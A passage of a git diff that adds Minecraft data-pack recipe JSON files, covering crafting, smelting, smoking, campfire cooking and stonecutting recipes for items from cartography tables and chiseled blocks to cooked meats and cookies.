b/src/data/minecraft/recipes/cartography_table.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "@@", + "##", + "##" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "@": { + "item": "minecraft:paper" + } + }, + "result": { + "item": "minecraft:cartography_table" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cauldron.json b/src/data/minecraft/recipes/cauldron.json new file mode 100644 index 00000000..542680b9 --- /dev/null +++ b/src/data/minecraft/recipes/cauldron.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:cauldron" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chain.json b/src/data/minecraft/recipes/chain.json new file mode 100644 index 00000000..45b2dc61 --- /dev/null +++ b/src/data/minecraft/recipes/chain.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "N", + "I", + "N" + ], + "key": { + "I": { + "item": "minecraft:iron_ingot" + }, + "N": { + "item": "minecraft:iron_nugget" + } + }, + "result": { + "item": "minecraft:chain" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/charcoal.json b/src/data/minecraft/recipes/charcoal.json new file mode 100644 index 00000000..3a6cc52d --- /dev/null +++ b/src/data/minecraft/recipes/charcoal.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "tag": "minecraft:logs_that_burn" + }, + "result": "minecraft:charcoal", + "experience": 0.15, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chest.json b/src/data/minecraft/recipes/chest.json new file mode 100644 index 00000000..6a289e0f --- /dev/null +++ b/src/data/minecraft/recipes/chest.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "# #", + "###" + ], + "key": { + "#": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:chest" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chest_minecart.json b/src/data/minecraft/recipes/chest_minecart.json new file mode 100644 index 00000000..f0fc9bae --- /dev/null +++ b/src/data/minecraft/recipes/chest_minecart.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "A", + "B" + ], + "key": { + "A": { + "item": "minecraft:chest" + }, + "B": { + "item": "minecraft:minecart" + } + }, + "result": { + "item": "minecraft:chest_minecart" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_nether_bricks.json b/src/data/minecraft/recipes/chiseled_nether_bricks.json new file mode 100644 index 00000000..f07d596f --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_nether_bricks.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:nether_brick_slab" + } + }, + "result": { + "item": "minecraft:chiseled_nether_bricks" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_nether_bricks_from_nether_bricks_stonecutting.json b/src/data/minecraft/recipes/chiseled_nether_bricks_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..b51ce730 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_nether_bricks_from_nether_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:nether_bricks" + }, + "result": "minecraft:chiseled_nether_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_polished_blackstone.json b/src/data/minecraft/recipes/chiseled_polished_blackstone.json new file mode 100644 index 00000000..fff9cc71 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_polished_blackstone.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:polished_blackstone_slab" + } + }, + "result": { + "item": "minecraft:chiseled_polished_blackstone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_polished_blackstone_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/chiseled_polished_blackstone_from_blackstone_stonecutting.json new file mode 100644 index 00000000..fa4d403c --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_polished_blackstone_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:chiseled_polished_blackstone", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_polished_blackstone_from_polished_blackstone_stonecutting.json b/src/data/minecraft/recipes/chiseled_polished_blackstone_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..e7d86e63 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_polished_blackstone_from_polished_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:polished_blackstone" + }, + "result": "minecraft:chiseled_polished_blackstone", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_quartz_block.json b/src/data/minecraft/recipes/chiseled_quartz_block.json new file mode 100644 index 00000000..dc2fef75 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_quartz_block.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:quartz_slab" + } + }, + "result": { + "item": "minecraft:chiseled_quartz_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_quartz_block_from_quartz_block_stonecutting.json b/src/data/minecraft/recipes/chiseled_quartz_block_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..0920a1f7 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_quartz_block_from_quartz_block_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:quartz_block" + }, + "result": "minecraft:chiseled_quartz_block", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_red_sandstone.json b/src/data/minecraft/recipes/chiseled_red_sandstone.json new file mode 100644 index 00000000..4cf7d7fc --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_red_sandstone.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:red_sandstone_slab" + } + }, + "result": { + "item": "minecraft:chiseled_red_sandstone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_red_sandstone_from_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/chiseled_red_sandstone_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..de8dd3f6 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_red_sandstone_from_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_sandstone" + }, + "result": "minecraft:chiseled_red_sandstone", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_sandstone.json b/src/data/minecraft/recipes/chiseled_sandstone.json new file mode 100644 index 00000000..35067163 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_sandstone.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:sandstone_slab" + } + }, + "result": { + "item": "minecraft:chiseled_sandstone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_sandstone_from_sandstone_stonecutting.json b/src/data/minecraft/recipes/chiseled_sandstone_from_sandstone_stonecutting.json new file mode 100644 index 00000000..dde7d3b3 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_sandstone_from_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:sandstone" + }, + "result": "minecraft:chiseled_sandstone", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_stone_bricks.json b/src/data/minecraft/recipes/chiseled_stone_bricks.json new file mode 100644 index 00000000..07273125 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_stone_bricks.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:stone_brick_slab" + } + }, + "result": { + "item": "minecraft:chiseled_stone_bricks" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_stone_bricks_from_stone_bricks_stonecutting.json b/src/data/minecraft/recipes/chiseled_stone_bricks_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..88c67735 --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_stone_bricks_from_stone_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone_bricks" + }, + "result": "minecraft:chiseled_stone_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/chiseled_stone_bricks_stone_from_stonecutting.json b/src/data/minecraft/recipes/chiseled_stone_bricks_stone_from_stonecutting.json new file mode 100644 index 00000000..e66c3caf --- /dev/null +++ b/src/data/minecraft/recipes/chiseled_stone_bricks_stone_from_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:chiseled_stone_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/clay.json b/src/data/minecraft/recipes/clay.json new file mode 100644 index 00000000..b8e53d22 --- /dev/null +++ b/src/data/minecraft/recipes/clay.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:clay_ball" + } + }, + "result": { + "item": "minecraft:clay" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/clock.json b/src/data/minecraft/recipes/clock.json new file mode 100644 index 00000000..1f149273 --- /dev/null +++ b/src/data/minecraft/recipes/clock.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " # ", + "#X#", + " # " + ], + "key": { + "#": { + "item": "minecraft:gold_ingot" + }, + "X": { + "item": "minecraft:redstone" + } + }, + "result": { + "item": "minecraft:clock" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/coal.json b/src/data/minecraft/recipes/coal.json new file mode 100644 index 00000000..dd451258 --- /dev/null +++ b/src/data/minecraft/recipes/coal.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:coal_block" + } + ], + "result": { + "item": "minecraft:coal", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/coal_block.json b/src/data/minecraft/recipes/coal_block.json new file mode 100644 index 00000000..fa18c4ae --- /dev/null +++ b/src/data/minecraft/recipes/coal_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:coal" + } + }, + "result": { + "item": "minecraft:coal_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/coal_from_blasting.json b/src/data/minecraft/recipes/coal_from_blasting.json new file mode 100644 index 00000000..6a0cdbfc --- /dev/null +++ b/src/data/minecraft/recipes/coal_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:coal_ore" + }, + "result": "minecraft:coal", + "experience": 0.1, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/coal_from_smelting.json b/src/data/minecraft/recipes/coal_from_smelting.json new file mode 100644 index 00000000..6e22323b --- /dev/null +++ b/src/data/minecraft/recipes/coal_from_smelting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:coal_ore" + }, + "result": "minecraft:coal", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/coarse_dirt.json b/src/data/minecraft/recipes/coarse_dirt.json new file mode 100644 index 00000000..43dbebe0 --- /dev/null +++ b/src/data/minecraft/recipes/coarse_dirt.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "DG", + "GD" + ], + "key": { + "D": { + "item": "minecraft:dirt" + }, + "G": { + "item": "minecraft:gravel" + } + }, + "result": { + "item": "minecraft:coarse_dirt", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cobblestone_slab.json b/src/data/minecraft/recipes/cobblestone_slab.json new file mode 100644 index 00000000..a602e9a5 --- /dev/null +++ b/src/data/minecraft/recipes/cobblestone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:cobblestone" + } + }, + "result": { + "item": "minecraft:cobblestone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cobblestone_slab_from_cobblestone_stonecutting.json b/src/data/minecraft/recipes/cobblestone_slab_from_cobblestone_stonecutting.json new file mode 100644 index 00000000..81d45c36 --- /dev/null +++ b/src/data/minecraft/recipes/cobblestone_slab_from_cobblestone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:cobblestone" + }, + "result": "minecraft:cobblestone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cobblestone_stairs.json b/src/data/minecraft/recipes/cobblestone_stairs.json new file mode 100644 index 00000000..59ffa38a --- /dev/null +++ b/src/data/minecraft/recipes/cobblestone_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:cobblestone" + } + }, + "result": { + "item": "minecraft:cobblestone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cobblestone_stairs_from_cobblestone_stonecutting.json b/src/data/minecraft/recipes/cobblestone_stairs_from_cobblestone_stonecutting.json new file mode 100644 index 00000000..ebc2c111 --- /dev/null +++ b/src/data/minecraft/recipes/cobblestone_stairs_from_cobblestone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:cobblestone" + }, + "result": "minecraft:cobblestone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cobblestone_wall.json b/src/data/minecraft/recipes/cobblestone_wall.json new file mode 100644 index 00000000..02988169 --- /dev/null +++ b/src/data/minecraft/recipes/cobblestone_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:cobblestone" + } + }, + "result": { + "item": "minecraft:cobblestone_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cobblestone_wall_from_cobblestone_stonecutting.json b/src/data/minecraft/recipes/cobblestone_wall_from_cobblestone_stonecutting.json new file mode 100644 index 00000000..790063fe --- /dev/null +++ b/src/data/minecraft/recipes/cobblestone_wall_from_cobblestone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:cobblestone" + }, + "result": "minecraft:cobblestone_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/comparator.json b/src/data/minecraft/recipes/comparator.json new file mode 100644 index 00000000..920930de --- /dev/null +++ b/src/data/minecraft/recipes/comparator.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " # ", + "#X#", + "III" + ], + "key": { + "#": { + "item": "minecraft:redstone_torch" + }, + "X": { + "item": "minecraft:quartz" + }, + "I": { + "item": "minecraft:stone" + } + }, + "result": { + "item": "minecraft:comparator" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/compass.json b/src/data/minecraft/recipes/compass.json new file mode 100644 index 00000000..5ded6770 --- /dev/null +++ b/src/data/minecraft/recipes/compass.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " # ", + "#X#", + " # " + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + }, + "X": { + "item": "minecraft:redstone" + } + }, + "result": { + "item": "minecraft:compass" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/composter.json b/src/data/minecraft/recipes/composter.json new file mode 100644 index 00000000..24907a13 --- /dev/null +++ b/src/data/minecraft/recipes/composter.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + "# #", + "###" + ], + "key": { + "#": { + "tag": "minecraft:wooden_slabs" + } + }, + "result": { + "item": "minecraft:composter" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/conduit.json b/src/data/minecraft/recipes/conduit.json new file mode 100644 index 00000000..1e095e50 --- /dev/null +++ b/src/data/minecraft/recipes/conduit.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:nautilus_shell" + }, + "X": { + "item": "minecraft:heart_of_the_sea" + } + }, + "result": { + "item": "minecraft:conduit" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_beef.json b/src/data/minecraft/recipes/cooked_beef.json new file mode 100644 index 00000000..e33bad43 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_beef.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:beef" + }, + "result": "minecraft:cooked_beef", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_beef_from_campfire_cooking.json b/src/data/minecraft/recipes/cooked_beef_from_campfire_cooking.json new file mode 100644 index 00000000..116e959e --- /dev/null +++ b/src/data/minecraft/recipes/cooked_beef_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:beef" + }, + "result": "minecraft:cooked_beef", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_beef_from_smoking.json b/src/data/minecraft/recipes/cooked_beef_from_smoking.json new file mode 100644 index 00000000..75ed73b4 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_beef_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:beef" + }, + "result": "minecraft:cooked_beef", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_chicken.json b/src/data/minecraft/recipes/cooked_chicken.json new file mode 100644 index 00000000..3ba49978 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_chicken.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:chicken" + }, + "result": "minecraft:cooked_chicken", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_chicken_from_campfire_cooking.json b/src/data/minecraft/recipes/cooked_chicken_from_campfire_cooking.json new file mode 100644 index 00000000..70b6f0a7 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_chicken_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:chicken" + }, + "result": "minecraft:cooked_chicken", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_chicken_from_smoking.json b/src/data/minecraft/recipes/cooked_chicken_from_smoking.json new file mode 100644 index 00000000..378a20a4 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_chicken_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:chicken" + }, + "result": "minecraft:cooked_chicken", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_cod.json b/src/data/minecraft/recipes/cooked_cod.json new file mode 100644 index 00000000..d524fae3 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_cod.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:cod" + }, + "result": "minecraft:cooked_cod", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_cod_from_campfire_cooking.json b/src/data/minecraft/recipes/cooked_cod_from_campfire_cooking.json new file mode 100644 index 00000000..e5f2c297 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_cod_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:cod" + }, + "result": "minecraft:cooked_cod", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_cod_from_smoking.json b/src/data/minecraft/recipes/cooked_cod_from_smoking.json new file mode 100644 index 00000000..62d47cb3 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_cod_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:cod" + }, + "result": "minecraft:cooked_cod", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_mutton.json b/src/data/minecraft/recipes/cooked_mutton.json new file mode 100644 index 00000000..c0f8ea91 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_mutton.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:mutton" + }, + "result": "minecraft:cooked_mutton", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_mutton_from_campfire_cooking.json b/src/data/minecraft/recipes/cooked_mutton_from_campfire_cooking.json new file mode 100644 index 00000000..35b63391 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_mutton_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:mutton" + }, + "result": "minecraft:cooked_mutton", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_mutton_from_smoking.json b/src/data/minecraft/recipes/cooked_mutton_from_smoking.json new file mode 100644 index 00000000..b688a2ab --- /dev/null +++ b/src/data/minecraft/recipes/cooked_mutton_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:mutton" + }, + "result": "minecraft:cooked_mutton", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_porkchop.json b/src/data/minecraft/recipes/cooked_porkchop.json new file mode 100644 index 00000000..18a301ed --- /dev/null +++ b/src/data/minecraft/recipes/cooked_porkchop.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:porkchop" + }, + "result": "minecraft:cooked_porkchop", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_porkchop_from_campfire_cooking.json b/src/data/minecraft/recipes/cooked_porkchop_from_campfire_cooking.json new file mode 100644 index 00000000..0ad1c880 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_porkchop_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:porkchop" + }, + "result": "minecraft:cooked_porkchop", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_porkchop_from_smoking.json b/src/data/minecraft/recipes/cooked_porkchop_from_smoking.json new file mode 100644 index 00000000..4d8cb223 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_porkchop_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:porkchop" + }, + "result": "minecraft:cooked_porkchop", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_rabbit.json b/src/data/minecraft/recipes/cooked_rabbit.json new file mode 100644 index 00000000..30cc8150 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_rabbit.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:rabbit" + }, + "result": "minecraft:cooked_rabbit", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_rabbit_from_campfire_cooking.json b/src/data/minecraft/recipes/cooked_rabbit_from_campfire_cooking.json new file mode 100644 index 00000000..6950d25f --- /dev/null +++ b/src/data/minecraft/recipes/cooked_rabbit_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:rabbit" + }, + "result": "minecraft:cooked_rabbit", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_rabbit_from_smoking.json b/src/data/minecraft/recipes/cooked_rabbit_from_smoking.json new file mode 100644 index 00000000..098be9f6 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_rabbit_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:rabbit" + }, + "result": "minecraft:cooked_rabbit", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_salmon.json b/src/data/minecraft/recipes/cooked_salmon.json new file mode 100644 index 00000000..32e1ed96 --- /dev/null +++ b/src/data/minecraft/recipes/cooked_salmon.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:salmon" + }, + "result": "minecraft:cooked_salmon", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_salmon_from_campfire_cooking.json b/src/data/minecraft/recipes/cooked_salmon_from_campfire_cooking.json new file mode 100644 index 00000000..cbbdb5ce --- /dev/null +++ b/src/data/minecraft/recipes/cooked_salmon_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:salmon" + }, + "result": "minecraft:cooked_salmon", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cooked_salmon_from_smoking.json b/src/data/minecraft/recipes/cooked_salmon_from_smoking.json new file mode 100644 index 00000000..d567dd6b --- /dev/null +++ b/src/data/minecraft/recipes/cooked_salmon_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:salmon" + }, + "result": "minecraft:cooked_salmon", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cookie.json b/src/data/minecraft/recipes/cookie.json new file mode 100644 index 00000000..dfbc13c2 --- /dev/null +++ b/src/data/minecraft/recipes/cookie.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#X#" + ], + "key": { + "#": { + "item": "minecraft:wheat" + }, + "X": { + "item": "minecraft:cocoa_beans" + } + }, + "result": { + "item": "minecraft:cookie", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cracked_nether_bricks.json b/src/data/minecraft/recipes/cracked_nether_bricks.json new file mode 100644 index 00000000..4dd536af --- /dev/null +++ b/src/data/minecraft/recipes/cracked_nether_bricks.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:nether_bricks" + }, + "result": "minecraft:cracked_nether_bricks", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cracked_polished_blackstone_bricks.json b/src/data/minecraft/recipes/cracked_polished_blackstone_bricks.json new file mode 100644 index 00000000..d694d9b2 --- /dev/null +++ b/src/data/minecraft/recipes/cracked_polished_blackstone_bricks.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:polished_blackstone_bricks" + }, + "result": "minecraft:cracked_polished_blackstone_bricks", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cracked_stone_bricks.json b/src/data/minecraft/recipes/cracked_stone_bricks.json new file mode 100644 index 00000000..9eb43371 --- /dev/null +++ b/src/data/minecraft/recipes/cracked_stone_bricks.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:stone_bricks" + }, + "result": "minecraft:cracked_stone_bricks", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crafting_table.json b/src/data/minecraft/recipes/crafting_table.json new file mode 100644 index 00000000..b0dc306b --- /dev/null +++ b/src/data/minecraft/recipes/crafting_table.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:crafting_table" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/creeper_banner_pattern.json b/src/data/minecraft/recipes/creeper_banner_pattern.json new file mode 100644 index 00000000..b2f6eed2 --- /dev/null +++ 